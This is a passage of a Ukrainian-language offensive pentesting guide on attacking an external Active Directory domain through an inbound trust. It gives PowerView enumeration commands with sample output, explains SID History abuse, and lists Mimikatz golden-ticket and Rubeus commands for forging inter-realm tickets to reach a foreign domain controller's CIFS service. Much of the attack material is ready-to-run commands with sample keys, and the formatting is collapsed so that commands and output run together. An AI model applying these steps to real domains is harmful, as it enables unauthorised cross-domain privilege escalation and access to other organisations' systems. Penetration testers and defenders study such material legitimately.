У цьому сценарії зовнішній домен довіряє вам (або обидва довіряють один одному), тому ви можете отримати певний доступ до нього.
Перерахування
Перш за все, вам потрібно перерахуватидовіру:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
У попередній енумерації було виявлено, що користувач crossuser знаходиться в групі External Admins, яка має адміністративний доступ всередині DC зовнішнього домену.
Початковий доступ
Якщо ви не змогли знайти жодного спеціального доступу вашого користувача в іншому домені, ви все ще можете повернутися до методології AD і спробувати підвищити привілеї з непривабливого користувача (такі речі, як керберостинг, наприклад):
Ви можете використовувати функції Powerview для енумераціїіншого домену за допомогою параметра -Domain, як у:
Ви також можете зловживати SID Історією через лісовий довірчий зв'язок.
Якщо користувача мігрують з одного лісу в інший і фільтрація SID не ввімкнена, стає можливим додати SID з іншого лісу, і цей SID буде додано до токена користувача під час автентифікації через довірчий зв'язок.
Ви могли б підписатидостовірним ключем TGT, що імплементує користувача поточного домену.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz-Command'"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:C:\path\save\ticket.kirbi/nowrap# Now you have a TGS to access the CIFS service of the domain controller
Повний спосіб імпersonування користувача
# Get a TGT of the user with cross-domain permissionsRubeus.exeasktgt/user:crossuser/domain:sub.domain.local/aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80/opsec/nowrap# Get a TGT from the current domain for the target domain for the userRubeus.exeasktgs/service:krbtgt/domain.external/domain:sub.domain.local/dc:dc.sub.domain.local/ticket:doIFdD[...snip...]MuSU8=/nowrap# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:doIFMT[...snip...]5BTA==/nowrap# Now you have a TGS to access the CIFS service of the domain controller